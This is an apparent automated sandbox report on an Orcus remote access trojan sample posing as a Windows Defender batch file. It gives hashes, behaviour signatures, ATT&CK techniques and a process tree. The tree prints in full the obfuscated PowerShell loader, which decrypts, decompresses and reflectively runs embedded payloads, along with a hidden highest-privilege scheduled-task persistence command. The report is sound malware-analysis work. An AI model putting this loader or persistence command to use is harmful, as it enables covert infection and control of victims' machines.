orcus | 8283f48cec6ebef1bdd41cfd9769f11db127ff431a71002b25112bb79b0b0122

Analysis

max time kernel
28s
max time network
17s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20-11-2024 20:38

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General

Target

MpDefenderCoreProtection.bat
Size

3.8MB
MD5

8e550a5c4dfd929f9569d55f70eae366
SHA1

4d594deeeb29fd8501e0f81a351efe4b9220b939
SHA256

8283f48cec6ebef1bdd41cfd9769f11db127ff431a71002b25112bb79b0b0122
SHA512

d00a931f7c388589a0f267737c47a7fb348cb2eb457daf15d582b533301513a3eda0e190eb23fe7aa19fd81714d5f90a537e2382b574cbd87bdc964823bab92d
SSDEEP

49152:yir7trkN31WUqslOGw9m1YmK2CalCFp0+UR:yP

Score

10^/10

orcus execution rat spyware stealer

Malware Config

Signatures

Orcus
Orcus is a Remote Access Trojan that is being sold on underground forums.
rat spyware stealer orcus
Orcus family
orcus

Orcurs Rat Executable 1 IoCs

resource	yara_rule
behavioral2/memory/2676-145-0x0000024D4D390000-0x0000024D4D692000-memory.dmp	orcus

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5076	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	MpDefenderCoreProtection.exe

Executes dropped EXE 1 IoCs

pid	Process
4940	MpDefenderCoreProtection.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\Windows Defender\MpDefenderCoreProtection.exe	powershell.exe
File opened for modification	C:\Program Files\Windows Defender\MpDefenderCoreProtection.exe	powershell.exe
File created	C:\Program Files\Windows Defender\MpDefenderCoreProtection.exe.config	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018C00F983B571E"	svchost.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 26 IoCs

pid	Process
436	powershell.exe
436	powershell.exe
5076	powershell.exe
5076	powershell.exe
2676	powershell.exe
2676	powershell.exe
2676	powershell.exe
2676	powershell.exe
2676	powershell.exe
2676	powershell.exe
2676	powershell.exe
2676	powershell.exe
2676	powershell.exe
2676	powershell.exe
2676	powershell.exe
2676	powershell.exe
2676	powershell.exe
2676	powershell.exe
2676	powershell.exe
2676	powershell.exe
2676	powershell.exe
2676	powershell.exe
2676	powershell.exe
2676	powershell.exe
2676	powershell.exe
2676	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	436	powershell.exe
Token: SeDebugPrivilege	5076	powershell.exe
Token: SeIncreaseQuotaPrivilege	5076	powershell.exe
Token: SeSecurityPrivilege	5076	powershell.exe
Token: SeTakeOwnershipPrivilege	5076	powershell.exe
Token: SeLoadDriverPrivilege	5076	powershell.exe
Token: SeSystemProfilePrivilege	5076	powershell.exe
Token: SeSystemtimePrivilege	5076	powershell.exe
Token: SeProfSingleProcessPrivilege	5076	powershell.exe
Token: SeIncBasePriorityPrivilege	5076	powershell.exe
Token: SeCreatePagefilePrivilege	5076	powershell.exe
Token: SeBackupPrivilege	5076	powershell.exe
Token: SeRestorePrivilege	5076	powershell.exe
Token: SeShutdownPrivilege	5076	powershell.exe
Token: SeDebugPrivilege	5076	powershell.exe
Token: SeSystemEnvironmentPrivilege	5076	powershell.exe
Token: SeRemoteShutdownPrivilege	5076	powershell.exe
Token: SeUndockPrivilege	5076	powershell.exe
Token: SeManageVolumePrivilege	5076	powershell.exe
Token: 33	5076	powershell.exe
Token: 34	5076	powershell.exe
Token: 35	5076	powershell.exe
Token: 36	5076	powershell.exe
Token: SeIncreaseQuotaPrivilege	5076	powershell.exe
Token: SeSecurityPrivilege	5076	powershell.exe
Token: SeTakeOwnershipPrivilege	5076	powershell.exe
Token: SeLoadDriverPrivilege	5076	powershell.exe
Token: SeSystemProfilePrivilege	5076	powershell.exe
Token: SeSystemtimePrivilege	5076	powershell.exe
Token: SeProfSingleProcessPrivilege	5076	powershell.exe
Token: SeIncBasePriorityPrivilege	5076	powershell.exe
Token: SeCreatePagefilePrivilege	5076	powershell.exe
Token: SeBackupPrivilege	5076	powershell.exe
Token: SeRestorePrivilege	5076	powershell.exe
Token: SeShutdownPrivilege	5076	powershell.exe
Token: SeDebugPrivilege	5076	powershell.exe
Token: SeSystemEnvironmentPrivilege	5076	powershell.exe
Token: SeRemoteShutdownPrivilege	5076	powershell.exe
Token: SeUndockPrivilege	5076	powershell.exe
Token: SeManageVolumePrivilege	5076	powershell.exe
Token: 33	5076	powershell.exe
Token: 34	5076	powershell.exe
Token: 35	5076	powershell.exe
Token: 36	5076	powershell.exe
Token: SeIncreaseQuotaPrivilege	5076	powershell.exe
Token: SeSecurityPrivilege	5076	powershell.exe
Token: SeTakeOwnershipPrivilege	5076	powershell.exe
Token: SeLoadDriverPrivilege	5076	powershell.exe
Token: SeSystemProfilePrivilege	5076	powershell.exe
Token: SeSystemtimePrivilege	5076	powershell.exe
Token: SeProfSingleProcessPrivilege	5076	powershell.exe
Token: SeIncBasePriorityPrivilege	5076	powershell.exe
Token: SeCreatePagefilePrivilege	5076	powershell.exe
Token: SeBackupPrivilege	5076	powershell.exe
Token: SeRestorePrivilege	5076	powershell.exe
Token: SeShutdownPrivilege	5076	powershell.exe
Token: SeDebugPrivilege	5076	powershell.exe
Token: SeSystemEnvironmentPrivilege	5076	powershell.exe
Token: SeRemoteShutdownPrivilege	5076	powershell.exe
Token: SeUndockPrivilege	5076	powershell.exe
Token: SeManageVolumePrivilege	5076	powershell.exe
Token: 33	5076	powershell.exe
Token: 34	5076	powershell.exe
Token: 35	5076	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1648 wrote to memory of 2388	1648	cmd.exe	86
PID 1648 wrote to memory of 2388	1648	cmd.exe	86
PID 2388 wrote to memory of 1096	2388	net.exe	87
PID 2388 wrote to memory of 1096	2388	net.exe	87
PID 1648 wrote to memory of 992	1648	cmd.exe	88
PID 1648 wrote to memory of 992	1648	cmd.exe	88
PID 1648 wrote to memory of 436	1648	cmd.exe	89
PID 1648 wrote to memory of 436	1648	cmd.exe	89
PID 436 wrote to memory of 5076	436	powershell.exe	94
PID 436 wrote to memory of 5076	436	powershell.exe	94
PID 436 wrote to memory of 376	436	powershell.exe	97
PID 436 wrote to memory of 376	436	powershell.exe	97
PID 376 wrote to memory of 4588	376	WScript.exe	98
PID 376 wrote to memory of 4588	376	WScript.exe	98
PID 4588 wrote to memory of 772	4588	cmd.exe	100
PID 4588 wrote to memory of 772	4588	cmd.exe	100
PID 772 wrote to memory of 1928	772	net.exe	101
PID 772 wrote to memory of 1928	772	net.exe	101
PID 4588 wrote to memory of 4500	4588	cmd.exe	102
PID 4588 wrote to memory of 4500	4588	cmd.exe	102
PID 4588 wrote to memory of 2676	4588	cmd.exe	103
PID 4588 wrote to memory of 2676	4588	cmd.exe	103
PID 2676 wrote to memory of 3468	2676	powershell.exe	56
PID 2676 wrote to memory of 2752	2676	powershell.exe	48
PID 2676 wrote to memory of 776	2676	powershell.exe	8
PID 2676 wrote to memory of 1952	2676	powershell.exe	35
PID 2676 wrote to memory of 2148	2676	powershell.exe	40
PID 2676 wrote to memory of 1160	2676	powershell.exe	20
PID 2676 wrote to memory of 1152	2676	powershell.exe	19
PID 2676 wrote to memory of 948	2676	powershell.exe	12
PID 2676 wrote to memory of 1728	2676	powershell.exe	30
PID 2676 wrote to memory of 1916	2676	powershell.exe	34
PID 2676 wrote to memory of 1908	2676	powershell.exe	33
PID 2676 wrote to memory of 1512	2676	powershell.exe	27
PID 2676 wrote to memory of 5092	2676	powershell.exe	93
PID 2676 wrote to memory of 2288	2676	powershell.exe	41
PID 2676 wrote to memory of 2680	2676	powershell.exe	46
PID 2676 wrote to memory of 3664	2676	powershell.exe	69
PID 2676 wrote to memory of 1496	2676	powershell.exe	26
PID 2676 wrote to memory of 1100	2676	powershell.exe	18
PID 2676 wrote to memory of 1296	2676	powershell.exe	23
PID 2676 wrote to memory of 900	2676	powershell.exe	11
PID 2676 wrote to memory of 2080	2676	powershell.exe	39
PID 2676 wrote to memory of 700	2676	powershell.exe	14
PID 2676 wrote to memory of 3652	2676	powershell.exe	57
PID 2676 wrote to memory of 1680	2676	powershell.exe	29
PID 2676 wrote to memory of 1088	2676	powershell.exe	17
PID 2676 wrote to memory of 1284	2676	powershell.exe	22
PID 2676 wrote to memory of 5028	2676	powershell.exe	68
PID 2676 wrote to memory of 4028	2676	powershell.exe	65
PID 2676 wrote to memory of 1860	2676	powershell.exe	38
PID 2676 wrote to memory of 1444	2676	powershell.exe	25
PID 2676 wrote to memory of 1652	2676	powershell.exe	28
PID 2676 wrote to memory of 860	2676	powershell.exe	75
PID 2676 wrote to memory of 1252	2676	powershell.exe	21
PID 2676 wrote to memory of 4600	2676	powershell.exe	66
PID 2676 wrote to memory of 1432	2676	powershell.exe	24
PID 2676 wrote to memory of 2612	2676	powershell.exe	45
PID 2676 wrote to memory of 2408	2676	powershell.exe	43
PID 2676 wrote to memory of 2400	2676	powershell.exe	42
PID 2676 wrote to memory of 1804	2676	powershell.exe	32
PID 2676 wrote to memory of 812	2676	powershell.exe	16
PID 2676 wrote to memory of 1992	2676	powershell.exe	36
PID 2676 wrote to memory of 612	2676	powershell.exe	15

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
PID:776
- C:\Windows\System32\mousocoreworker.exe
  C:\Windows\System32\mousocoreworker.exe -Embedding
  2⤵
  PID:1552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:700

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:612

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:812

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:1088

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1100

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1152

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1252

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1296

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1432

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1496

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1652

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1680

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1728

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1776

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1804

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1908

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1916

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1952

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1992

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:1860

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2080

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2148

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2288

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2400

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2408

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2612

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2680

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2752

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2772

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3360

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\MpDefenderCoreProtection.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1648
- - C:\Windows\system32\net.exe
    net file
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2388
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 file
      4⤵
      PID:1096
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/hTAPReKWMaGUPsxvh8SiiR41fumgY/9sRHXfHkctYs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6MgLmE5FNbYAX6X+qh2cDQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $isHBU=New-Object System.IO.MemoryStream(,$param_var); $ypwny=New-Object System.IO.MemoryStream; $uyyTu=New-Object System.IO.Compression.GZipStream($isHBU, [IO.Compression.CompressionMode]::Decompress); $uyyTu.CopyTo($ypwny); $uyyTu.Dispose(); $isHBU.Dispose(); $ypwny.Dispose(); $ypwny.ToArray();}function execute_function($param_var,$param2_var){ $eMguq=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $kekMw=$eMguq.EntryPoint; $kekMw.Invoke($null, $param2_var);}$sSYKO = 'C:\Users\Admin\AppData\Local\Temp\MpDefenderCoreProtection.bat';$host.UI.RawUI.WindowTitle = $sSYKO;$McaeJ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($sSYKO).Split([Environment]::NewLine);foreach ($NljuN in $McaeJ) { if ($NljuN.StartsWith('ktRBTENuIsvsRLWHoTWR')) { $MZjQx=$NljuN.Substring(20); break; }}$payloads_var=[string[]]$MZjQx.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:992
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
    3⤵
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:436
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_423_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_423.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5076
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_423.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:376
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_423.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4588
      - C:\Windows\system32\net.exe
        
        net file
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:772
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 file
        7⤵
        
        PID:1928
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/hTAPReKWMaGUPsxvh8SiiR41fumgY/9sRHXfHkctYs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6MgLmE5FNbYAX6X+qh2cDQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $isHBU=New-Object System.IO.MemoryStream(,$param_var); $ypwny=New-Object System.IO.MemoryStream; $uyyTu=New-Object System.IO.Compression.GZipStream($isHBU, [IO.Compression.CompressionMode]::Decompress); $uyyTu.CopyTo($ypwny); $uyyTu.Dispose(); $isHBU.Dispose(); $ypwny.Dispose(); $ypwny.ToArray();}function execute_function($param_var,$param2_var){ $eMguq=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $kekMw=$eMguq.EntryPoint; $kekMw.Invoke($null, $param2_var);}$sSYKO = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_423.bat';$host.UI.RawUI.WindowTitle = $sSYKO;$McaeJ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($sSYKO).Split([Environment]::NewLine);foreach ($NljuN in $McaeJ) { if ($NljuN.StartsWith('ktRBTENuIsvsRLWHoTWR')) { $MZjQx=$NljuN.Substring(20); break; }}$payloads_var=[string[]]$MZjQx.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:4500
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
        6⤵
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2676
        
        C:\Program Files\Windows Defender\MpDefenderCoreProtection.exe
        
        "C:\Program Files\Windows Defender\MpDefenderCoreProtection.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:4940

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:4028

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4600

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:5028

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:3664

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4272

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:860

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:5092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
- Checks processor information in registry
PID:3508

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Windows Defender\MpDefenderCoreProtection.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Program Files\Windows Defender\MpDefenderCoreProtection.exe.config

Filesize
357B

MD5
a2b76cea3a59fa9af5ea21ff68139c98

SHA1
35d76475e6a54c168f536e30206578babff58274

SHA256
f99ef5bf79a7c43701877f0bb0b890591885bb0a3d605762647cc8ffbf10c839

SHA512
b52608b45153c489419228864ecbcb92be24c644d470818dfe15f8c7e661a7bcd034ea13ef401f2b84ad5c29a41c9b4c7d161cc33ae3ef71659bc2bca1a8c4ad

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
661739d384d9dfd807a089721202900b

SHA1
5b2c5d6a7122b4ce849dc98e79a7713038feac55

SHA256
70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

SHA512
81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
005bc2ef5a9d890fb2297be6a36f01c2

SHA1
0c52adee1316c54b0bfdc510c0963196e7ebb430

SHA256
342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d

SHA512
f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tbj4stlo.fim.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_423.bat

Filesize
3.8MB

MD5
8e550a5c4dfd929f9569d55f70eae366

SHA1
4d594deeeb29fd8501e0f81a351efe4b9220b939

SHA256
8283f48cec6ebef1bdd41cfd9769f11db127ff431a71002b25112bb79b0b0122

SHA512
d00a931f7c388589a0f267737c47a7fb348cb2eb457daf15d582b533301513a3eda0e190eb23fe7aa19fd81714d5f90a537e2382b574cbd87bdc964823bab92d

Download Submit
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_423.vbs

Filesize
124B

MD5
437636284742151140d752aa23633ae0

SHA1
2298ffbf6fc04c1a06e6560640f56bef60150d4b

SHA256
850ba493d44471a73f0c091b0831b8eddd62b8f935defcff3ce0b4a75ee78905

SHA512
f19cc79f86a4db8edde6f93f7e920a5948b04540b5d38eff469e1c5edfc585adadfc96872c3349d3aabac6f2d90a52dc616919945b3a943b96b0eb23d744e6a2

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
8abf2d6067c6f3191a015f84aa9b6efe

SHA1
98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

SHA256
ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

SHA512
c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
f313c5b4f95605026428425586317353

SHA1
06be66fa06e1cffc54459c38d3d258f46669d01a

SHA256
129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

SHA512
b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
ceb7caa4e9c4b8d760dbf7e9e5ca44c5

SHA1
a3879621f9493414d497ea6d70fbf17e283d5c08

